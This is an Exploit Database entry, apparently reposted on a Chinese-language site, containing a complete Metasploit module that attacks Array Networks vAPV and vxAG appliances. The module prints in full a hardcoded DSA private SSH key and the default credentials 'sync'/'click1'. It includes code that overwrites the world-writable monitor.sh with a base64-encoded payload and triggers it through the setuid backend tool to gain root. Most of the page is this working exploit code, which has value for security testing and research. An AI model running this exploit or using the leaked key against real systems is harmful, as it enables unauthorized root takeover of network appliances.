Array Networks vAPV and vxAG – Private Key Privilege Escalation / Code Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2014-03-22
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/32440/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'net/ssh'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::EXE
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "Array Networks vAPV and vxAG Private Key Privelege Escalation Code Execution",
  'Description'=> %q{
  This module exploits a default hardcoded private SSH key or default hardcoded
  login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made
  by Array Networks. After logged in as the unprivileged user, it's possible to
  modify the world writable file /ca/bin/monitor.sh with our arbitrary code.
  Execution of the arbitrary code is possible by using the backend tool, running
  setuid, to turn the debug monitoring on. This makes it possible to trigger our
  payload with root privileges.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'xistence <xistence[at]0x90.nl>',# Original discovery and Metasploit module
  ],
  'References' =>
  [
  ['OSVDB', '104652'],
  ['OSVDB', '104653'],
  ['OSVDB', '104654'],
  ['URL', 'http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html']
  ],
  'DefaultOptions'=>
  {
  'ExitFunction' => "none"
  },
  'Platform' => 'unix',
  'Arch' => ARCH_CMD,
  'Payload'=>
  {
  'Compat' =>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'generic telnet',
  }
  },
  'Targets'=>
  [
  ['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}],
  ],
  'Privileged' => true,
  'DisclosureDate' => "Feb 03 2014",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  Opt::RHOST(),
  Opt::RPORT(22),
  OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]),
  OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']),
  OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1'])
  ], self.class
  )
  
  register_advanced_options(
  [
  OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
  OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
  ]
  )
  end
  
  def rhost
  datastore['RHOST']
  end
  
  
  def rport
  datastore['RPORT']
  end
  
  def login_key(user)
  print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'")
  
  key_data = "-----BEGIN DSA PRIVATE KEY-----\n"
  key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n"
  key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n"
  key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n"
  key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n"
  key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n"
  key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n"
  key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n"
  key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n"
  key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n"
  key_data += "+sqSEhA35Le2kC4Y1/A=\n"
  key_data += "-----END DSA PRIVATE KEY-----\n"
  
  opts = {
  #:auth_methods => ['password', 'keyboard-interactive'],
  :auth_methods => ['publickey'],
  :msframework=> framework,
  :msfmodule=> self,
  :port => rport,
  :disable_agent => true,
  :config => true,
  :key_data => key_data,
  #:password => pass,
  :record_auth_info => true,
  :proxies => datastore['Proxies']
  }
  
  opts
  end
  
  def login_user_pass(user, pass)
  print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:#{pass}'")
  
  opts = {
  :auth_methods => ['password', 'keyboard-interactive'],
  :msframework=> framework,
  :msfmodule=> self,
  :port => rport,
  :disable_agent => true,
  :config => true,
  :password => pass,
  :record_auth_info => true,
  :proxies => datastore['Proxies']
  }
  
  opts
  end
  
  def build_command
  mon_temp = rand_text_alphanumeric(10)
  cmd = Rex::Text.encode_base64("nohup " + payload.encoded)
  # Turn debug monitoring off, just in case it's turned on
  command = '/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`;'
  # Copy the data from monitor.sh to a random tmp file
  command += "cat /ca/bin/monitor.sh > /tmp/#{mon_temp};"
  # Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file
  command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;"
  # Turn debug monitoring on, which will start the monitor.sh and thus our payload
  command += '/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`;'
  # Copy monitor.sh data back
  command += "cat /tmp/#{mon_temp} > /ca/bin/monitor.sh"
  
  command
  end
  
  
  #def execute_command(cmd, opts)
  def exploit
  user = datastore['USER']
  pass = datastore['PASS']
  
  if datastore['SSHKEY']
  opts = login_key(user)
  else
  opts = login_user_pass(user, pass)
  end
  
  opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
  
  begin
  ssh = nil
  ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
  ssh = Net::SSH.start(rhost, user, opts)
  end
  rescue Rex::ConnectionError, Rex::AddressInUse
  fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
  rescue Net::SSH::Disconnect, ::EOFError
  fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
  rescue ::Timeout::Error
  fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
  rescue Net::SSH::AuthenticationFailed
  fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
  rescue Net::SSH::Exception => e
  fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
  end
  
  fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
  
  if datastore['SSHKEY']
  print_good("#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'")
  else
  print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
  end
  
  # Make the SSH connection and execute our commands + payload
  print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!")
  Net::SSH::CommandStream.new(ssh, build_command, true)
  end
  
  end